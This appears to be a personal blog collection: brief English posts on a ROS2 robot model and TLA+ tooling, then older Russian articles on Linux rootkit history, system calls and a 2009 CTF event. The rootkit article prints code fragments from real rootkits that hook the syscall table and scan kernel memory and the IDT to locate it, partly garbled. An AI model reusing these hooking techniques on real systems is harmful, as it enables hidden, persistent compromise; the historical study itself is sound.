Blog: 15/01/23

 Small progress in the robotic direction. I've finished the Bittle robot description and model viewer for ROS2

https://github.com/friackazoid/champ_description_bittle

Blog: 11/14/22

Ok, TLA Toolbox is one of the obstacles. ProbablyJupiter notbook will work better as an IDE. The problem is that README doesn't specify how to pass all parameters to TLC model checker and refers to the book that is not available... Wrappers for command line Looks like TLC command line tool and passing argument is some special art. Ok, models are parameterized by *.cfg file. The file is generated by toolbox or pcal from the wrappers list. The list of options

INVARIANT 

INVARIANTS 

PROPERTY 

PROPERTIES 

CONSTANT 

CONSTANTS 

CONSTRAINT 

CONSTRAINTS 

ACTION_CONSTRAINT 

ACTION_CONSTRAINTS 

INIT 

NEXT 

VIEW 

SYMMETRY 

TYPE 

TYPE_CONSTRAINT

So in jupiter-notebook I can specify CONSTANT like

CONSTANT S <- SSizeRange

Blog: 11/12/22

Long story short - formal methods and robots. I have 2 things Bitty Robot and one another related to work. What I want to reach with formal methods?.. Good question if I only know what formal methods are capable for. Let start with survay

Luckcuck, M., Farrell, M., Dennis, L., Dixon, C., & Fisher, M. (2018). Formal Specification and Verification of Autonomous Robotic Systems: A Survey. https://doi.org/10.1145/3342355

Rootkit Часть 2 Продолжение истории

Итак в прошлой статье мы начали исследование темы руткитов в операционной системе линукс и немного поговорили о истории. В этой статье мы поговорим о первых руткитах работающих в пространстве ядра.

Итак еще немного о классификации ]:-> Мы решили выделить 3 поколения руткитов, по версиям ядра на которых они работали.

Первое поколение руткитов.

Скорее всего такой тип руткитов встречался читателю не раз. Но потратим еще чуть чуть времени на анализ их поведения.

Данный вид руткитов существовал для ядра версии 2.4.х. И действие данных руткитов основано на том что адреса ключевых структур ядра могли быть свободно импортированы в код любого подгружаемого модуля. В том числе и адрес табилцы системных вызовов (о механизме работы системных вызовов и почему они являются столь желанной добчей для руткитов мы рассказывали в одной из заметок).

export syscall_table;

После этого к таблице системных вызовов можно обращатся как к обычному массиву. Это легко увидеть на примере руткита adora-42 (полный исходный код можно скачать здесь):

extern void *sys_call_table[];

int (*o_getdents)(unsigned int, struct dirent *, unsigned int);

int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_close)(unsigned int);
int (*o_symlink)(const char *, const char*);
long (*o_mkdir)(const char *, int);
int (*o_stat)(char *, struct stat *);
int (*o_lstat)(char *, struct stat *);
int (*o_open)(char *, int, int);
int (*o_oldstat)(char *, struct __old_kernel_stat *);
int (*o_oldlstat)(char *, struct __old_kernel_stat *);

#ifdef __NR_stat64
int (*o_stat64)(char *, struct stat64 *, long);
#endif
#ifdef __NR_lstat64
int (*o_lstat64)(char *, struct stat64 *, long);
#endif

<...>

#define REPLACE(x) o_##x = sys_call_table[__NR_##x];\
             sys_call_table[__NR_##x] = n_##x

REPLACE(write);
REPLACE(getdents);
REPLACE(kill);
REPLACE(fork);
REPLACE(clone);
REPLACE(close);
REPLACE(open);
REPLACE(stat);
REPLACE(lstat);
REPLACE(oldstat);
REPLACE(oldlstat);

#ifdef __NR_stat64
REPLACE(stat64);
#endif
#ifdef __NR_lstat64
REPLACE(lstat64);
#endif

REPLACE(mkdir);

#ifdef __NR_getdents64
REPLACE(getdents64);
#endif

Стоит отметить что на этой серии ядра работает и такой популярнй дистрибутив как Red Hat, а также большинство встраиваемых линуксов (роутеры, точки доступа, маршрутизатор и кофеварки). Однако не стоит думать что все они уязвимы и что наступит конец света как только это тайное знание просачится в интернет (люди в костюмах это специально для вас). Разработчики Red Hat едять свой хлеб не даром, и эти ядра куда более безопасны чем самые последние серии 2.6.х.

Второе поколение.

Нельзя сказать что коренные изменения произощедщие в ядре между версиями 2.4 и 2.6 были вызваны исключиельно вопросами безопасности. Однако мы поговорим о том что касается непосредственно руткитов. А в мире руткитов произошло падение гигантского метеорита, ледниковый период и глобальное потепление одновременно.
То есть был закрыт экспорт всех ключевых структур ядра. Следствием чего и явилось вымирание простых как две копейки руткитов первого поколения. На смену им пришли хищники иного рода.
Это поколение ориенировано на добывание табицы системных вызовов из неключевых структур ядра, остававшимися экспортируемыми. Только проблема в том что все эти структуры и объекты переставали быть экспртируемыми от версии к версии.
Мелкие, но проворные, идельно приспособленные к своей среде обитания они появлялись и исчезали вместе со средой.
Одним из наиболее характерных представителей данных руткитов является ITX (можно найти на античате либо в архиве здесь).
Он экспортировал из ядра адрес системного вызова sys_close() и ключевой структуры init_mm. Из init_mm извлекался адрес начала секции данных ядра, с которого начинался поиск участка памяти содержащий адрес системного вызова. Так как индексы системных вызовов в таблице известны заранее, то вычисление адреса начала таблицы системных вызовов не представляло сложностей. Далее стратегия внедрения руткита не отличалась от предыдущих версий.

unsigned long *find_sc(void){
   int i;
   unsigned long *ptr;
   unsigned long arr[4];

// импорт адрес открытого системного вызова
   extern int sys_close(int fd);

// определение адреса окончания секции кода
   ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);

// поиск в оставшихся секциях указатель на системный вызов
   while((unsigned long)ptr < (unsigned long)init_mm.end_data){
      if (*ptr == (unsigned long)((unsigned long *)sys_close)){
         for(i=0;i<4;i++){>> 16) &0x0000ffff;
      }

      if(arr[0] != arr[2] || arr[1] != arr[3]) {
         sys_call_table = (ptr - __NR_close); break;
      }

      ptr++;
   }

// возвращение указателя на системный вызов
   if(sys_call_table)
      return sys_call_table;
   return NULL;
}

Но к версии 2.6.25 использовать оставшиеся экспортируемые структуры стало совершенно неинтересно. Сложно сказать что случилось первым: умер ли последний представитель второго поколения или появился на свет руткит нового поколения, однако факт остается фактом и на свет появляется третье поколение руткитов.

Третье поколение руткитов.

Подросло новое поколение, которое пошло принципиально другим путем - увеличения лобных долей и освобождения рук для орудий труда массового поражения.
Впервые данная технология была описана в статье Devik, Sd. «Linux on-the-fly kernel patching without LKM» 58 номера электронного журнала phrack.Основной принцип этой технологии состоит в том, что адрес таблицы системных вызовов содержится в функции system_call (см. заметку о работе механизма системных вызовов). Внутри неё осуществляется переход на нужный системный вызов путем выполнения машинной инструкции call eax*4+XXXXXXXX, где XXXXXXXX адрес таблицы системных вызовов. Данная команда может быть вычислена по сигнатуре ff 14 85 XX XX XX XX, вероятность повторения данной сигнатуры внутри функции стремится к нулю. Адрес функции system_call содержится в IDT (Interruption Description Table) по смещению 0x80.

// функция возвращает указатель на таблицу IDT

static int __get_int_handler(int offset)
{
    int idt_entry   = 0;
                            /* off2 << 16 | off1 */
    __asm__ __volatile__ (  "xorl %%ebx,%%ebx               \n\t"
                            "pushl %%ebx                    \n\t"
                            "pushl %%ebx                    \n\t"
                            "sidt (%%esp)                   \n\t"
                            "movl 2(%%esp),%%ebx            \n\t"
                            "movl %1,%%ecx                  \n\t"
                            "leal (%%ebx, %%ecx, 8),%%esi   \n\t"
                            "xorl %%eax,%%eax               \n\t"
                            "movw 6(%%esi),%%ax             \n\t"
                            "roll $0x10,%%eax               \n\t"
                            "movw (%%esi),%%ax              \n\t"
                            "popl %%ebx                     \n\t"
                            "popl %%ebx                     \n\t"
                            : "=a" (idt_entry)
                            : "r" (offset)
                            : "ebx", "esi" );

    return idt_entry;
}

//Достаем адресс таблицы системных вызовов
#define RETURN_SYSCALL_TABLE    0
#define RETURN_SYSCALL_CALL     1

static unsigned int __get_syscall_table(int idt_entry, int mode)
{
    unsigned char *p = (unsigned char *)idt_entry;
    unsigned int table;

    while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
    {
        p ++;
    }

    table = *(unsigned int *)(p+3);

    if (mode == RETURN_SYSCALL_TABLE)
        return table;

    if (mode == RETURN_SYSCALL_CALL)
        return (unsigned int)p;

    return 0;
}

После чего можно использовать стандартный механизм внедрения в системные вызовы.

Из всего вышеописанного можно сделать вывод, что все три технологии сводятся к поиску таблицы системных вызовов и замене адресов определенных вызовов своими, или внедрению непосредственно в код системного вызова. Но, начиная с версии 2.6.16, разработчики ядра ввели специальный механизм, который располагает все критически важные объекты ядра, в областях памяти защищенных от записи. Этот механизм можно инициализировать включив опцию CONFIG_DEBUG_RODATA при сборке ядра.

Но и на этом история не закончилась. Мы еще не рассказали о появлении Rotkitus Sapies, ведь с их приходом и начинается все самое интересное. Однако статья и так получилась достаточно большой поэтому продолжим в следующий раз.

Quik Note: Системные вызовы Linux

Один из основных механизмов системы который нам строить и жить помогает - это механизм системных вызовов. Как ни странно о том чтоже это такое можно долго читать и так ничего и не понять.

Для начала приведем то, что об этом говорит Таненбаум. Он говрит (и ему можно верить) что современный компьютер состоит из нескольких абстрактных уровней: микроархитектурный, уровень архитектуры команд и уровень операционной системы. В свою очередь на уровне операционной системы находится некоторый набор команд доступных прикладному программисту. В этом наборе помимо команд более низкого уровня содержатся и системные вызовы.

Если предыдущий абзац был не понят, то ничего от этого не изменится и это никак не помешает использовать эти самые вызовы в своих целях.

Вообще их можно воспринимать как своеобразные API для доступа к аппаратным ресурсам (главное не путать их с API пользовательского уровня).

Но лучше перейти к практики, а так можно до бесконечности.

Что происходит когда программист запрашивает открытие какого лирбо файла с помощью функции fopen() системной библиотеки libc ?

А происходит следующее:

0x00h) Внутри вункции fopen() происходит вызов системного вызова (но это только начало). Посмотрим в детали. Вызвать системный вызов можно двумя способами - используя ассемблерную иструкцию int 0x80h (классика жанра) или вызвать ассемблерную инструкцию sysenter (доступной начиная со времен процессоров Intel Pentium II). Во всех последних версиях ядер Linux поддерживаются оба способа.

 push dword mode //Все аргументы передаются через стек по stdcall соглашению
push dword flags
push dword path
mov eax, 5 // Номер системного вызова передается через eax (5 = __NR_open)
int 80h

или sysenter (правда не особо к месту, AT&T синтаксис и подробнее расписан тут)

 #include 
int pid;
int main (){
 __asm (
  "movl $20, %eax \n" // Номер системного вызова
  "call *%gs:0x10 \n"
  "movl %eax, pid \n" // Сохраняем значение
 );
 printf ("pid: %d\n", pid);
 return 0;
}

0x01h) Обработчик этого вызова располагается в самом ядре (arch/x86/kernel/entry_32.S):

 syscall_call:
 call *sys_call_table(,%eax,4) // Используя таблицу системных вызовов вычисляем адрес запрошенного систменого вызова
 movl %eax,PT_EAX(%esp)          // store the return value

Таблица системных вызовов это специальный массив содержащий в себе адреса всех системных вызовов. Индекс нужного вызова можно посмотреть в include/asm/unistd_32.h.

0xo2h) Дальше управление наконецто переходит к самому системному вызову

0x03h) После этого происходит востановление возвращаемого значения и поройдя еще есколько процедур управление передается туда от куда пришло.

Это всеголишь квик нот то больше подробностей описывать не будем, темболее что их и так много:

тут http://www.int80h.org/
тут http://manugarg.googlepages.com/systemcallinlinux2_6.html
еще очень подробно расписанно тут http://rflinux.blogspot.com/2008/03/linux-syscalls-linux.html

Rootkit (часть первая): История и классификация

Эта статья открывает цикл, который мы хотим посвятить руткит технологиям в линукс. Цикл будет состоять из 5 статей. В первой статье мы немного обратимся к истории и расскажем о появлении и развитии руткитов. Во второй и третьей статьях мы подробно рассмотрим одни из самых опасных и нашумевших представителях этого вида DR - рутките и Adora-ng. В четвертой и пятой статье мы расскажем о некоторых собственных иследованиях.

Начало.

Итак обратимся к истории. Сам по себе руткит не является вредоносной программой. Само слово руткит происходит от слияния двух слов root (привилигированный пользователь в линукс) и toolkit (набор инструментов). Изначально руткиты использовались системным администратором для скрытия некоторых конфигов от пользователя и предоставления защищеного удаленого доступа к машине. Точно так же руткиты используются и теперь скрывая следы своей деятельности уже не только от простых пользователей но и от администраторов.

Степень угрозы.

Как видно из диаграммы взятой из отчета IBM доля руткитов среди прочего вредоносного кода очень мала. Это связано с тем что руткиты в основном используются в качестве вспомогательных средств скрытия для вредоносного или шпионского кода (за это их часто называют шапками невидимками). Еще одним фактором из-за которого процент так невелик, является то, что вредоносное ПО даже обладающее функциональностью руткита, классифицируется по его основному поведению (и антивирус говорит что это например всего лишь троян). Так же написание руткитов требует достаточно большой квалификации, и лишь немногие вредоносные программы обладают таким уровнем сложности.

Виды руткитов.

Разобраться серьезно в какой либо теме без систематизации и классификации невозможно. Поэтому нами была сделана попытка классифицировать руткиты по типу их поведения. Так как по классификациям большинства антивирусных компаний руткит является самой малой классификационной единицей, то отдельной классификации на них нет и мы решили предложить свою. =)
Всего существует 4 вида руткитов:

1. Руткиты пространства ядра;
2. Руткиты пространства пользователя;
3. Аппаратные руткиты;
4. Загрузочные руткиты.

Руткиты пространства пользователя подменяют или модивицируют основные системные утилиты.

Примером руткита подменяющего основные системные утилиты может служить руткит SHV о которым мы писали в одной из заметок.

Руткиты модифицирующие основные системные утилиты являются более сложными по своей реализации. Оба этих типа руткита страдают от одних и тех же недостатков:

• Все подобные руткиты легко обнаруживаются контролем целостности приложений. Любой мало мальски уважающий себя антивирус мгновенно обнаружит это.
• По самой своей архитектуре ниодин подобный руткит не имеет средств защиты от обнаружения.
• В линукс одну и туже операцию можно выполнить многими способами. То есть наверняка останется какая нибудь не модифицированная утили с помошью которой можно будет обнаружить скрываемые файлы и процессы.

Так же специфичным для модифицирующих руткитов является такой недостаток как достаточно большая вероятность привести в неработоспособность модифицируемые утилиты, что сразу же обнаружит факт проникновения в систему.
Между двумя основными видами руткитов стоят достаточно распространенные руткиты которые представляют из себя программу пространства пользователя, но модифицирующую виртуальный образ ядра. Примером такого руткита может послужить Mood-NT о котором мы также рассказывали в одной из заметок.

Продолжение следует.

Итак статья начинает разрастаться до удручающих размеров. А так как руткиты пространства ядра тема еще более обшиная то продолжим ее в другой раз.

RUCTF 2009

С 23.04.09 по 27.04.09 в Уральском государственном университете в городе Екатеринбурге проходили вторые межвузовские соревнования по защите информации, проводимые по правилам CTF. Офсайт по адресу http://ructf.org/2009/
Нам удалось выступить там с докладом и поучаствовать в самой игре в гостевой команде.
Презентацию с нашего доклада можно взять здесь с анимацией (31 Мб) и без (> 1Мб) Вот небольшой фотоотчет по этой наполненой драйвом недели
http://picasaweb.google.ru/friackazoid/RUCTF2009